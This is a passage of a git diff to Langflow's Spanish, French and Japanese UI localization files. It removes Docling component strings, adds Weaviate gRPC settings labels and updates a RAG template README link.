similitud.", "components.weaviate.inputs.search_query.placeholder.2a5ab7eb": "Escribe una consulta...", @@ -6841,7 +6757,7 @@ "template_notes.text_sentiment_analysis.cd87cff6": "### Configurar el proveedor de modelos", "template_notes.travel_planning_agents.d6f6704d": "# 📖 README\n\nEl sistema de planificación de viajes es una configuración inteligente que utiliza varios componentes especializados de Agent para ayudar a planificar viajes increíbles. Imagina que cada agente es un experto en viajes especializado en una parte de tu viaje. Así es como funciona:\nCada agente tiene una función definida en las **Instrucciones para el agente** y cuenta con las **herramientas** pertinentes adjuntas. El usuario envía una consulta a través del **Chat Input** y los tres agentes elaboran un plan de viaje completo basándose en dicha consulta.\n\n## Inicio rápido\n1. Configura tu **proveedor de modelos** con tus credenciales de API.\n2. Añade tu clave de la **API de búsqueda** al componente de la API de búsqueda.\n2. Ejecuta el flujo en el **Playground**.", "template_notes.twitter_thread_generator.3ee42d8b": "# 📖 README\n¡Bienvenido al generador de hilos de Twitter! Este flujo te ayuda a crear hilos de Twitter atractivos transformando tus datos estructurados en contenido interesante.\n\n## Instrucciones\n\n1. Prepara tus datos\n- Rellene el campo «Contexto» con su mensaje principal o historia\n- Defina las «Directrices de contenido» para la estructura y el estilo del hilo\n- Especifique el «Tipo de perfil» y los «Detalles del perfil» para reflejar la identidad de su marca\n- Establezca el «Tono y estilo» para orientar el enfoque de la comunicación\n- Elija el «Formato de salida» (hilo) y el idioma deseado\n\n2. Configurar el mensaje de solicitud\n- El flujo utiliza una plantilla de mensaje de solicitud específica para generar contenido\n- Asegúrate de que todos los campos de entrada estén conectados al nodo de mensaje de solicitud\n\n3. Ejecutar la generación\n- Ejecuta el flujo para procesar tus datos de entrada\n- El modelo « OpenAI » creará el hilo según tus especificaciones\n\n4. Revisar y perfeccionar\n- Examina el resultado en el nodo «Chat Output»\n- Si es necesario, ajusta los datos de entrada y vuelve a ejecutar el proceso para obtener mejores resultados\n\n5. Finalizar y publicar\n- Cuando estés satisfecho, copia el hilo generado\n- Publícalo en Twitter, manteniendo la estructura y el ritmo\n\nRecuerda: ¡Sé específico en el contexto y las directrices para obtener los mejores resultados! 🚀\n", - "template_notes.vector_store_rag.4df99c9e": "# 📖 README\nLa generación aumentada por recuperación (RAG) es una forma de proporcionar contexto adicional a un modelo de lenguaje a gran escala (LLM) mediante la precarga de un almacén de vectores con incrustaciones de contenido relevante. Cuando un usuario chatea con el LLM, una _búsqueda por similitud_ recupera contenido relevante comparando la representación de la consulta del usuario con las representaciones almacenadas en el\nalmacén de vectores.\n Por ejemplo, un chatbot RAG podría cargarse previamente con datos de productos y, a continuación, ayudar a los clientes a encontrar productos específicos en función de sus consultas.\n\n## Inicio rápido\n1. Configura tu **proveedor de modelos** con tus credenciales de API.\n 2. Selecciona una base de datos o crea una nueva mediante la función **[Knowledge Ingestion]( http://localhost:7860/assets/knowledge-bases )**. \n 3. Abre el **Playground** para iniciar un chat con el flujo 🐕 **Retriever**.\n\n\n\n## Próximos pasos\nPrueba a modificar la pregunta y los datos cargados para ver cómo cambian las respuestas del modelo de lenguaje grande (LLM).", "template_notes.vector_store_rag.d089e3e8": "### 💡 Configura aquí tu modelo de lenguaje👇", + "template_notes.vector_store_rag.e8deaec6": "# 📖 README\nLa generación aumentada por recuperación (RAG) es una forma de proporcionar contexto adicional a un modelo de lenguaje a gran escala (LLM) mediante la precarga de un almacén de vectores con incrustaciones de contenido relevante. Cuando un usuario chatea con el LLM, una _búsqueda por similitud_ recupera contenido relevante comparando la representación de la consulta del usuario con las representaciones almacenadas en el\nalmacén de vectores.\n Por ejemplo, un chatbot RAG podría cargarse previamente con datos de productos y, a continuación, ayudar a los clientes a encontrar productos específicos en función de sus consultas.\n\n## Inicio rápido\n1. Configura tu **proveedor de modelos** con tus credenciales de API.\n 2. Selecciona una base de datos o crea una nueva mediante la función [Knowledge Ingestion]( https://docs.langflow.org/knowledge-base ). \n 3. Abre el **Playground** para iniciar un chat con el flujo.\n\n\n\n## Próximos pasos\nPrueba a modificar la pregunta y los datos cargados para ver cómo cambian las respuestas del modelo de lenguaje grande (LLM).", "template_notes.youtube_analysis.8d068d5f": "# 📖 README\nEste flujo realiza un análisis exhaustivo de los vídeos de YouTube.\n1. Extraer los comentarios y las transcripciones de los vídeos.\n2. Realiza un análisis de opinión de los comentarios utilizando un modelo de lenguaje grande (LLM).\n3. Combina el contenido de la transcripción y el tono de los comentarios para obtener un análisis completo del vídeo.\n## Inicio rápido: - Configure su **Proveedor de modelos** con sus credenciales de API. - Agregue su **YouTube v3 **. - Si no tiene una clave de API YoutTube , cree una en la [Consola Google Cloud ]( https://console.cloud.google.com ). - Asegúrese de que la entrada del chat sea una URL de video YouTube válida. En el componente de entrada del chat se incluye un ejemplo de ` URL `.\n" -} +} \ No newline at end of file diff --git a/src/backend/base/langflow/locales/fr.json b/src/backend/base/langflow/locales/fr.json index 2b5855002f..4525d07938 100644 --- a/src/backend/base/langflow/locales/fr.json +++ b/src/backend/base/langflow/locales/fr.json @@ -948,27 +948,6 @@ "components.chroma.outputs.dataframe.display_name.16d1c905": "Tableau", "components.chroma.outputs.search_results.display_name.39414102": "Résultats de la recherche", "components.chroma.outputs.search_results.info.c3d7164d": "Effectue une recherche par similarité sémantique dans le magasin de vecteurs afin de trouver des documents ou des fichiers pertinents. Entrée : une requête de recherche en langage naturel (chaîne de caractères). Renvoie : une liste d'objets Data (dictionnaires). Chaque résultat présente la structure suivante : {'data': {'text': '...', ...}}. Le champ « text » contient toujours le contenu du document correspondant. Les autres champs de métadonnées dépendent de ce qui a été indexé (ils peuvent inclure : « file_path », « source », « page », etc.). IMPORTANT : Pour extraire des métadonnées telles que « file_path », utilisez : result['data'].get('file_path') ou result.data.get ('file_path'). Vérifiez les champs disponibles en consultant result['data'].keys() ou le premier résultat de la recherche.", - "components.chunkdoclingdocument.description.44e35996": "Utilisez les fonctions de découpage de l' DocumentDocument pour diviser le document en morceaux.", - "components.chunkdoclingdocument.display_name.1722f954": "DoclingDocument de blocs", - "components.chunkdoclingdocument.inputs.always_emit_headings.display_name.10da1ae6": "Toujours afficher les en-têtes", - "components.chunkdoclingdocument.inputs.always_emit_headings.info.d0f59909": "Afficher les titres même pour les sections vides.", - "components.chunkdoclingdocument.inputs.chunker.display_name.3aa06cd4": "Chunker", - "components.chunkdoclingdocument.inputs.chunker.info.b22ec24d": "Quel « chunker » utiliser?", - "components.chunkdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON ou tableau", - "components.chunkdoclingdocument.inputs.data_inputs.info.e5dd822f": "Les données et les documents à diviser en morceaux.", - "components.chunkdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Doc Key", - "components.chunkdoclingdocument.inputs.doc_key.info.d7f29683": "La clé à utiliser pour la colonne « DoclingDocument ».", - "components.chunkdoclingdocument.inputs.hf_model_name.display_name.029240f2": "Nom du modèle HF", - "components.chunkdoclingdocument.inputs.hf_model_name.info.a4ff5667": "Nom du modèle du tokenizer à utiliser avec l' HybridChunker e lorsque l'option « Hugging Face » est sélectionnée comme tokenizer.", - "components.chunkdoclingdocument.inputs.max_tokens.display_name.98a75688": "Nombre maximal de jetons", - "components.chunkdoclingdocument.inputs.max_tokens.info.ebc4a5b8": "Nombre maximal de jetons pour l' HybridChunker", - "components.chunkdoclingdocument.inputs.merge_peers.display_name.67b25632": "Fusionner les pairs", - "components.chunkdoclingdocument.inputs.merge_peers.info.64fef35c": "Fusionner les blocs trop petits qui partagent les mêmes métadonnées pertinentes.", - "components.chunkdoclingdocument.inputs.openai_model_name.display_name.9ea3f726": "OpenAI nom du modèle", - "components.chunkdoclingdocument.inputs.openai_model_name.info.4a3e4d67": "Nom du modèle du tokenizer à utiliser avec l' HybridChunker e lorsque l'option « OpenAI » est sélectionnée comme tokenizer.", - "components.chunkdoclingdocument.inputs.provider.display_name.472590ae": "Fournisseur", - "components.chunkdoclingdocument.inputs.provider.info.734df296": "Quel fournisseur de tokenisation?", - "components.chunkdoclingdocument.outputs.dataframe.display_name.16d1c905": "Tableau", "components.cleanlabevaluator.description.ba9ff1dd": "Évalue toute réponse d'un modèle de langage de grande capacité (LLM) à l'aide de Cleanlab et génère un score de fiabilité ainsi qu'une explication.", "components.cleanlabevaluator.display_name.acc5fbce": "Évaluateur Cleanlab", "components.cleanlabevaluator.inputs.api_key.display_name.424b5af9": "Clé API Cleanlab", @@ -3373,58 +3352,6 @@ "components.directory.inputs.use_multithreading.display_name.05e4b8e4": "Utiliser le multithreading", "components.directory.inputs.use_multithreading.info.abb48948": "Si cette valeur est définie, le multithreading sera utilisé.", "components.directory.outputs.dataframe.display_name.d04e5590": "Fichiers chargés", - "components.doclinginline.description.8eb32adf": "Utilise Docling pour traiter les documents d'entrée en exécutant les modèles Docling localement.", - "components.doclinginline.display_name.18714c10": "Docling", - "components.doclinginline.inputs.delete_server_file_after_processing.display_name.5f06c029": "Supprimer le fichier serveur après le traitement", - "components.doclinginline.inputs.delete_server_file_after_processing.info.759b7a41": "Si cette option est activée, le chemin d'accès au fichier serveur sera supprimé après le traitement.", - "components.doclinginline.inputs.do_picture_classification.display_name.17f39daf": "Classification d'images", - "components.doclinginline.inputs.do_picture_classification.info.a7bc4521": "Si cette option est activée, le pipeline Docling classera les images par type.", - "components.doclinginline.inputs.file_path.display_name.e2af3c2c": "Chemin d'accès au fichier sur le serveur", - "components.doclinginline.inputs.file_path.info.27812dd6": "Objet de données doté d'une propriété « file_path » pointant vers un fichier sur le serveur, ou objet Message contenant le chemin d'accès au fichier. Remplace « Path », mais prend en charge les mêmes types de fichiers.", - "components.doclinginline.inputs.ignore_unspecified_files.display_name.2f4bdff0": "Ignorer les fichiers non spécifiés", - "components.doclinginline.inputs.ignore_unspecified_files.info.6db15d5b": "Si cette option est activée, les données ne comportant pas la propriété « file_path » seront ignorées.", - "components.doclinginline.inputs.ignore_unsupported_extensions.display_name.2b309132": "Ignorer les extensions non prises en charge", - "components.doclinginline.inputs.ignore_unsupported_extensions.info.c0005483": "Si cette option est activée, les fichiers dont l'extension n'est pas prise en charge ne seront pas traités.", - "components.doclinginline.inputs.ocr_engine.display_name.0518cbfc": "Moteur OCR", - "components.doclinginline.inputs.ocr_engine.info.139aeeed": "Moteur OCR à utiliser. Aucune de ces options ne désactivera la reconnaissance optique de caractères (OCR).", - "components.doclinginline.inputs.path.display_name.abc7e989": "Fichiers", - "components.doclinginline.inputs.pic_desc_llm.display_name.7d1bb7eb": "Description de l'image LLM", - "components.doclinginline.inputs.pic_desc_llm.info.6dfbf195": "Si connecté, le modèle à utiliser pour exécuter la tâche de description d'images.", - "components.doclinginline.inputs.pic_desc_prompt.display_name.b954ba72": "Consigne pour la description d'une image", - "components.doclinginline.inputs.pic_desc_prompt.info.54bc97e0": "Le message d'invite à afficher lors de l'appel du modèle.", - "components.doclinginline.inputs.pipeline.display_name.37e1c775": "Pipeline", - "components.doclinginline.inputs.pipeline.info.38c5db3a": "Pipeline Docling à utiliser", - "components.doclinginline.inputs.separator.display_name.be237eda": "Séparateur", - "components.doclinginline.inputs.separator.info.d54570fc": "Indiquez le séparateur à utiliser entre plusieurs sorties au format Message.", - "components.doclinginline.inputs.silent_errors.display_name.ee5bdeda": "Erreurs silencieuses", - "components.doclinginline.inputs.silent_errors.info.c8d76525": "Si la condition est vraie, les erreurs ne déclencheront pas d'exception.", - "components.doclinginline.outputs.dataframe.display_name.abc7e989": "Fichiers", - "components.doclingremote.description.71394d2e": "Utilise Docling pour traiter les documents entrants en se connectant à votre instance de Docling Serve.", - "components.doclingremote.display_name.ddeb3f89": "Docling Serve", - "components.doclingremote.inputs.api_headers.display_name.fba60cef": "En-têtes HTTP", - "components.doclingremote.inputs.api_headers.info.47c263b2": "Dictionnaire facultatif des en-têtes supplémentaires requis pour se connecter à Docling Serve.", - "components.doclingremote.inputs.api_url.display_name.8be89710": "Adresse du serveur", - "components.doclingremote.inputs.api_url.info.4fb8b968": "URL de l'instance Docling Serve.", - "components.doclingremote.inputs.delete_server_file_after_processing.display_name.5f06c029": "Supprimer le fichier serveur après le traitement", - "components.doclingremote.inputs.delete_server_file_after_processing.info.759b7a41": "Si cette option est activée, le chemin d'accès au fichier serveur sera supprimé après le traitement.", - "components.doclingremote.inputs.docling_serve_opts.display_name.213075dd": "Options de docling", - "components.doclingremote.inputs.docling_serve_opts.info.44e5bb7e": "Dictionnaire facultatif d'options supplémentaires. Pour plus d'informations, consultez le site https://github.com/docling-project/docling-serve/blob/main/docs/usage.md.", - "components.doclingremote.inputs.file_path.display_name.e2af3c2c": "Chemin d'accès au fichier sur le serveur", - "components.doclingremote.inputs.file_path.info.27812dd6": "Objet de données doté d'une propriété « file_path » pointant vers un fichier sur le serveur, ou objet Message contenant le chemin d'accès au fichier. Remplace « Path », mais prend en charge les mêmes types de fichiers.", - "components.doclingremote.inputs.ignore_unspecified_files.display_name.2f4bdff0": "Ignorer les fichiers non spécifiés", - "components.doclingremote.inputs.ignore_unspecified_files.info.6db15d5b": "Si cette option est activée, les données ne comportant pas la propriété « file_path » seront ignorées.", - "components.doclingremote.inputs.ignore_unsupported_extensions.display_name.2b309132": "Ignorer les extensions non prises en charge", - "components.doclingremote.inputs.ignore_unsupported_extensions.info.c0005483": "Si cette option est activée, les fichiers dont l'extension n'est pas prise en charge ne seront pas traités.", - "components.doclingremote.inputs.max_concurrency.display_name.8708492f": "Accès simultanés", - "components.doclingremote.inputs.max_concurrency.info.5b7f7b11": "Nombre maximal de requêtes simultanées pour le serveur.", - "components.doclingremote.inputs.max_poll_timeout.display_name.2770e3b2": "Durée maximale du sondage", - "components.doclingremote.inputs.max_poll_timeout.info.a280e555": "Durée maximale d'attente pour la conversion du document.", - "components.doclingremote.inputs.path.display_name.abc7e989": "Fichiers", - "components.doclingremote.inputs.separator.display_name.be237eda": "Séparateur", - "components.doclingremote.inputs.separator.info.d54570fc": "Indiquez le séparateur à utiliser entre plusieurs sorties au format Message.", - "components.doclingremote.inputs.silent_errors.display_name.ee5bdeda": "Erreurs silencieuses", - "components.doclingremote.inputs.silent_errors.info.c8d76525": "Si la condition est vraie, les erreurs ne déclencheront pas d'exception.", - "components.doclingremote.outputs.dataframe.display_name.abc7e989": "Fichiers", "components.dotenv.description.8634f572": "Charger le fichier.env dans les variables d'environnement", "components.dotenv.display_name.2955fde8": "Dotenv", "components.dotenv.inputs.dotenv_file_content.display_name.f62b6470": "Contenu du fichier dotenv", @@ -3509,22 +3436,6 @@ "components.exasearch.inputs.similar_num_results.display_name.707eed13": "Nombre similaire de résultats", "components.exasearch.inputs.use_autoprompt.display_name.59695dc3": "Utiliser la saisie automatique", "components.exasearch.outputs.tools.display_name.ea93d6a2": "Outils", - "components.exportdoclingdocument.description.413a23c6": "Exporter l' DoclingDocument s au format Markdown, HTML ou dans d'autres formats.", - "components.exportdoclingdocument.display_name.f9c3a19c": "Exporter l' DoclingDocument", - "components.exportdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON ou tableau", - "components.exportdoclingdocument.inputs.data_inputs.info.a8882471": "Les données et les documents à exporter.", - "components.exportdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Doc Key", - "components.exportdoclingdocument.inputs.doc_key.info.d7f29683": "La clé à utiliser pour la colonne « DoclingDocument ».", - "components.exportdoclingdocument.inputs.export_format.display_name.df339cb8": "Format d'exportation", - "components.exportdoclingdocument.inputs.export_format.info.95a45bb3": "Sélectionnez le format d'exportation pour convertir les données saisies.", - "components.exportdoclingdocument.inputs.image_mode.display_name.baf2b59e": "Mode d'exportation d'images", - "components.exportdoclingdocument.inputs.image_mode.info.658f2344": "Précisez comment les images doivent être exportées dans le fichier de sortie. L'option « Placeholder » remplacera les images par une chaîne de caractères, tandis que l'option « Embedded » les intégrera sous forme d'images encodées au format base64.", - "components.exportdoclingdocument.inputs.md_image_placeholder.display_name.3c6e2e80": "Espace réservé à l'image", - "components.exportdoclingdocument.inputs.md_image_placeholder.info.d5e786d5": "Indiquez l'espace réservé à l'image pour les exportations au format Markdown.", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.display_name.2464ce40": "Marqueur de saut de page", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.info.6fea767e": "Ajoutez cet espace réservé entre les pages dans le fichier de sortie au format Markdown.", - "components.exportdoclingdocument.outputs.data.display_name.70557daf": "Données exportées", - "components.exportdoclingdocument.outputs.dataframe.display_name.16d1c905": "Tableau", "components.extractakey.description.2568af44": "Extraire une clé spécifique d'un objet Data ou d'une liste d'objets Data et renvoyer la ou les valeurs extraites sous forme d'objets Data.", "components.extractakey.display_name.0c6e10b0": "Clé d'extraction", "components.extractakey.inputs.data_input.display_name.86fe6201": "Saisie des données", @@ -4581,7 +4492,7 @@ "components.memory.inputs.template.info.e9ef56ea": "Le modèle à utiliser pour mettre en forme les données. Il peut contenir les clés « {text} », « {sender} » ou toute autre clé dans les données du message.", "components.memory.outputs.dataframe.display_name.16d1c905": "Tableau", "components.memory.outputs.messages_text.display_name.04d7b483": "Messages", - "components.memorybase.description.49825d5a": "Récupérer l'historique des discussions à partir d'une base de données associée à ce flux. Par défaut, la portée est limitée à la session en cours; désactivez l'option « Filtrer par session » pour récupérer les données de toutes les sessions importées dans cette base de données.", + "components.memorybase.description.03cd3f8b": "Récupérer la mémoire à long terme à partir d'une base de mémoire associée à ce flux de travail. Lorsque l'option « Filtrer par session » est désactivée, les requêtes s'appliquent à toutes les sessions.", "components.memorybase.display_name.6c40130b": "Base de données", "components.memorybase.inputs.filter_by_session.display_name.0c2249c9": "Filtrer par session", "components.memorybase.inputs.filter_by_session.info.ddd14a58": "Si cette option est activée, seuls les souvenirs de la session en cours seront récupérés. Désactiver pour permettre la récupération des données de toutes les sessions enregistrées dans cette base de données (utile pour la consultation inter-conversations).", @@ -6486,12 +6397,17 @@ "components.weaviate.display_name.e95095e1": "Weaviate", "components.weaviate.inputs.api_key.display_name.23189d55": "Clé d'API", "components.weaviate.inputs.embedding.display_name.4c1a0852": "Intégration", + "components.weaviate.inputs.grpc_host.display_name.d7b0be8f": "Hôte GRPC", + "components.weaviate.inputs.grpc_host.info.fe0d5a48": "gRPC serveur pour une instance Weaviate auto-hébergée. L'hôte par défaut est URL. Ignoré lors de la connexion à Weaviate Cloud.", + "components.weaviate.inputs.grpc_port.display_name.054b93c3": "gRPC Port", + "components.weaviate.inputs.grpc_port.info.a34b1dce": "gRPC port pour une instance Weaviate auto-hébergée. Ignoré lors de la connexion à Weaviate Cloud.", "components.weaviate.inputs.index_name.display_name.0f53d21d": "Nom de l'index", "components.weaviate.inputs.index_name.info.b595f2c9": "Le nom de l'index doit être en majuscules.", "components.weaviate.inputs.ingest_data.display_name.b8c4a377": "Ingérer des données", "components.weaviate.inputs.number_of_results.display_name.e8f2e1bb": "Nombre de résultats", "components.weaviate.inputs.number_of_results.info.5232e01a": "Nombre de résultats à afficher.", "components.weaviate.inputs.search_by_text.display_name.a1bfa0f3": "Recherche par texte", + "components.weaviate.inputs.search_by_text.info.a58c521e": "Conservé pour des raisons de compatibilité ascendante. Le client Weaviate v4 choisit automatiquement entre la recherche par mot-clé et la recherche vectorielle selon qu'un encodage est fourni ou non.", "components.weaviate.inputs.search_query.display_name.3ad6e0f4": "Requête de recherche", "components.weaviate.inputs.search_query.info.d9f2d336": "Saisissez une requête pour effectuer une recherche par similarité.", "components.weaviate.inputs.search_query.placeholder.2a5ab7eb": "Saisissez une requête...", @@ -6841,7 +6757,7 @@ "template_notes.text_sentiment_analysis.cd87cff6": "### Configurer votre fournisseur de modèles", "template_notes.travel_planning_agents.d6f6704d": "# 📖 README\n\nLe système de planification de voyages est une solution intelligente qui utilise plusieurs composants Agent spécialisés pour vous aider à organiser des voyages exceptionnels. Imaginez chaque agent comme un expert en voyages spécialisé dans une partie de votre périple. Voici comment cela fonctionne :\nChaque agent dispose d'un rôle défini dans les **Instructions destinées aux agents** et des **outils** correspondants qui y sont joints. L'utilisateur soumet une requête via le **Chat Input**, et les trois agents élaborent un itinéraire complet en fonction de cette requête.\n\n## Mise en route rapide\n1. Configurez votre **fournisseur de modèles** à l'aide de vos identifiants API.\n2. Ajoutez votre clé **API de recherche** au composant API de recherche.\n2. Exécutez le flux dans le **Playground**.", "template_notes.twitter_thread_generator.3ee42d8b": "# 📖 LIRE AVANT DE COMMENCER\nBienvenue dans le générateur de fils Twitter! Ce flux vous aide à créer des fils Twitter captivants en transformant vos données structurées en contenu attrayant.\n\n## Instructions\n\n1. Préparez vos données\n- Remplissez la section « Contexte » avec votre message principal ou votre histoire\n- Définissez les « Directives de contenu » pour la structure et le style du fil de discussion\n- Précisez le « Type de profil » et les « Détails du profil » afin de refléter l'identité de votre marque\n- Définissez le « Ton et le style » pour orienter l'approche de communication\n- Choisissez le « Format de sortie » (fil de discussion) et la langue souhaitée\n\n2. Configurer l'invite\n- Le flux utilise un modèle d'invite spécifique pour générer du contenu\n- Assurez-vous que tous les champs de saisie sont connectés au nœud d'invite\n\n3. Lancer la génération\n- Exécutez le flux pour traiter vos données d'entrée\n- Le modèle d' OpenAI s créera le fil de discussion en fonction de vos spécifications\n\n4. Vérifier et affiner\n- Examinez le résultat dans le nœud « Chat Output »\n- Si nécessaire, modifiez vos paramètres d'entrée et relancez le processus pour obtenir de meilleurs résultats\n\n5. Finaliser et publier\n- Une fois que vous êtes satisfait, copiez le fil de discussion généré\n- Publiez-le sur Twitter en conservant la structure et le rythme\n\nN'oubliez pas : pour obtenir les meilleurs résultats, soyez précis dans votre contexte et vos consignes! 🚀\n", - "template_notes.vector_store_rag.4df99c9e": "# 📖 README\nLa génération augmentée par la recherche (RAG) est une méthode qui permet de fournir un contexte supplémentaire à un grand modèle linguistique (LLM) en préchargeant un magasin de vecteurs avec des représentations vectorielles de contenus pertinents. Lorsqu'un utilisateur discute avec le LLM, une _recherche par similarité_ permet de récupérer du contenu pertinent en comparant l'encodage de la requête de l'utilisateur à ceux stockés dans la base de données vectorielle\n.\n Par exemple, un chatbot RAG pourrait être préchargé avec des données sur les produits, ce qui lui permettrait d'aider les clients à trouver des produits spécifiques en fonction de leurs requêtes.\n\n## Mise en route rapide\n1. Configurez votre **fournisseur de modèles** à l'aide de vos identifiants API.\n 2. Sélectionnez une base de données ou créez-en une nouvelle à l'aide de la fonctionnalité **[Intégration des connaissances]( http://localhost:7860/assets/knowledge-bases )**. \n 3. Ouvrez le **Playground** pour lancer une conversation avec le flux 🐕 **Retriever**.\n\n\n\n## Prochaines étapes\nFaites des essais en modifiant la consigne et les données chargées pour voir comment les réponses du modèle de langage grand format (LLM) évoluent.", "template_notes.vector_store_rag.d089e3e8": "### 💡 Configurez votre modèle linguistique ici👇", + "template_notes.vector_store_rag.e8deaec6": "# 📖 README\nLa génération augmentée par la recherche (RAG) est une méthode qui consiste à fournir un contexte supplémentaire à un grand modèle linguistique (LLM) en préchargeant un magasin de vecteurs avec des représentations vectorielles de contenus pertinents. Lorsqu'un utilisateur discute avec le LLM, une _recherche par similarité_ permet de récupérer du contenu pertinent en comparant l'embedding de la requête de l'utilisateur à ceux stockés dans la base de données vectorielle\n.\n Par exemple, un chatbot RAG pourrait être préchargé avec des données sur les produits, ce qui lui permettrait d'aider les clients à trouver des produits spécifiques en fonction de leurs requêtes.\n\n## Mise en route rapide\n1. Configurez votre **fournisseur de modèles** à l'aide de vos identifiants API.\n 2. Sélectionnez une base de données ou créez-en une nouvelle à l'aide de la fonctionnalité [Intégration des connaissances]( https://docs.langflow.org/knowledge-base ). \n 3. Ouvrez le **Playground** pour entamer une conversation avec le flux.\n\n\n\n## Prochaines étapes\nFaites des essais en modifiant la requête et les données chargées pour voir comment les réponses du modèle de langage grand format (LLM) évoluent.", "template_notes.youtube_analysis.8d068d5f": "# 📖 FICHE DE LECTURE\nCe flux effectue une analyse approfondie des vidéos de YouTube.\n1. Extraire les commentaires et les transcriptions des vidéos.\n2. Effectuer une analyse des sentiments sur les commentaires à l'aide d'un modèle de langage de grande capacité (LLM).\n3. Combiner le contenu des transcriptions et le ton des commentaires pour une analyse vidéo complète.\n## Démarrage rapide : configurez votre **fournisseur de modèle** avec vos identifiants API. Ajoutez votre **YouTube v3 **. Si vous n'avez pas de clé API YoutTube , créez-en une dans la [console Google Cloud ]( https://console.cloud.google.com ). Assurez-vous que l' URL de la vidéo YouTube saisie dans le chat est valide. Un exemple d' URL s est fourni dans le composant de saisie du chat.\n" -} +} \ No newline at end of file diff --git a/src/backend/base/langflow/locales/ja.json b/src/backend/base/langflow/locales/ja.json index c7aad73b01..ddd9a59fb0 100644 --- a/src/backend/base/langflow/locales/ja.json +++ b/src/backend/base/langflow/locales/ja.json @@ -948,27 +948,6 @@ "components.chroma.outputs.dataframe.display_name.16d1c905": "表", "components.chroma.outputs.search_results.display_name.39414102": "検索結果", "components.chroma.outputs.search_results.info.c3d7164d": "ベクトルストア内で意味的類似性検索を実行し、関連するドキュメントやファイルを検索します。 入力:自然言語の検索クエリ(文字列)。 戻り値:Dataオブジェクト(辞書)のリスト。 各結果には次のような構造があります: {'data': {'text': '...', ...}}。「text」フィールドには、常に一致したドキュメントの内容が含まれます。 その他のメタデータフィールドは、インデックス化された内容によって異なります(例:「file_path」、「source」、「page」など)。 重要:file_path などのメタデータを抽出するには、result['data'].get('file_path') または result.data.get ('file_path') を使用してください。 result['data'].keys() または最初の検索結果を確認して、利用可能なフィールドを確認してください。", - "components.chunkdoclingdocument.description.44e35996": "DocumentDocument チャンカーを使用して、ドキュメントをチャンクに分割します。", - "components.chunkdoclingdocument.display_name.1722f954": "Chunk DoclingDocument", - "components.chunkdoclingdocument.inputs.always_emit_headings.display_name.10da1ae6": "常に見出しを表示する", - "components.chunkdoclingdocument.inputs.always_emit_headings.info.d0f59909": "セクションが空の場合でも見出しを表示する。", - "components.chunkdoclingdocument.inputs.chunker.display_name.3aa06cd4": "チャンカー", - "components.chunkdoclingdocument.inputs.chunker.info.b22ec24d": "どのチャンカーを使うか。", - "components.chunkdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON または テーブル", - "components.chunkdoclingdocument.inputs.data_inputs.info.e5dd822f": "チャンクに分割するドキュメントを含むデータ。", - "components.chunkdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Doc Key", - "components.chunkdoclingdocument.inputs.doc_key.info.d7f29683": "DoclingDocument 列に使用するキー。", - "components.chunkdoclingdocument.inputs.hf_model_name.display_name.029240f2": "HFモデル名", - "components.chunkdoclingdocument.inputs.hf_model_name.info.a4ff5667": "Hugging Face をトークナイザーとして選択した場合、 HybridChunker で使用するトークナイザーのモデル名。", - "components.chunkdoclingdocument.inputs.max_tokens.display_name.98a75688": "最大トークン数", - "components.chunkdoclingdocument.inputs.max_tokens.info.ebc4a5b8": "HybridChunker のトークン上限数。", - "components.chunkdoclingdocument.inputs.merge_peers.display_name.67b25632": "ピアをマージする", - "components.chunkdoclingdocument.inputs.merge_peers.info.64fef35c": "関連するメタデータが同じである、サイズが小さいチャンクを結合する。", - "components.chunkdoclingdocument.inputs.openai_model_name.display_name.9ea3f726": "OpenAI モデル名", - "components.chunkdoclingdocument.inputs.openai_model_name.info.4a3e4d67": "OpenAI をトークナイザーとして選択した場合、 HybridChunker で使用するトークナイザーのモデル名。", - "components.chunkdoclingdocument.inputs.provider.display_name.472590ae": "プロバイダー", - "components.chunkdoclingdocument.inputs.provider.info.734df296": "どのトークナイザープロバイダーか。", - "components.chunkdoclingdocument.outputs.dataframe.display_name.16d1c905": "表", "components.cleanlabevaluator.description.ba9ff1dd": "Cleanlabを使用してLLMの応答を評価し、信頼度スコアと説明を出力します。", "components.cleanlabevaluator.display_name.acc5fbce": "Cleanlab 評価ツール", "components.cleanlabevaluator.inputs.api_key.display_name.424b5af9": "Cleanlab APIキー", @@ -3373,58 +3352,6 @@ "components.directory.inputs.use_multithreading.display_name.05e4b8e4": "マルチスレッドを使用する", "components.directory.inputs.use_multithreading.info.abb48948": "その場合、マルチスレッドが使用されます。", "components.directory.outputs.dataframe.display_name.d04e5590": "読み込まれたファイル", - "components.doclinginline.description.8eb32adf": "Doclingを使用して、Doclingモデルをローカルで実行し、入力ドキュメントを処理します。", - "components.doclinginline.display_name.18714c10": "Docling", - "components.doclinginline.inputs.delete_server_file_after_processing.display_name.5f06c029": "処理後にサーバーファイルを削除する", - "components.doclinginline.inputs.delete_server_file_after_processing.info.759b7a41": "この設定が有効な場合、処理後にサーバーのファイルパスは削除されます。", - "components.doclinginline.inputs.do_picture_classification.display_name.17f39daf": "画像分類", - "components.doclinginline.inputs.do_picture_classification.info.a7bc4521": "有効にすると、Doclingパイプラインが画像の種類を分類します。", - "components.doclinginline.inputs.file_path.display_name.e2af3c2c": "サーバーのファイルパス", - "components.doclinginline.inputs.file_path.info.27812dd6": "サーバー上のファイルを指す「file_path」プロパティを持つデータオブジェクト、またはそのファイルへのパスを含むMessageオブジェクト。 「Path」に代わるものですが、同じファイル形式に対応しています。", - "components.doclinginline.inputs.ignore_unspecified_files.display_name.2f4bdff0": "指定されていないファイルは無視する", - "components.doclinginline.inputs.ignore_unspecified_files.info.6db15d5b": "これが true の場合、「file_path」プロパティを持たないデータは無視されます。", - "components.doclinginline.inputs.ignore_unsupported_extensions.display_name.2b309132": "サポートされていない拡張子を無視する", - "components.doclinginline.inputs.ignore_unsupported_extensions.info.c0005483": "この設定が有効な場合、サポートされていない拡張子を持つファイルは処理されません。", - "components.doclinginline.inputs.ocr_engine.display_name.0518cbfc": "OCRエンジン", - "components.doclinginline.inputs.ocr_engine.info.139aeeed": "使用するOCRエンジン。 どれを選んでもOCRは無効になりません。", - "components.doclinginline.inputs.path.display_name.abc7e989": "ファイル", - "components.doclinginline.inputs.pic_desc_llm.display_name.7d1bb7eb": "画像の説明 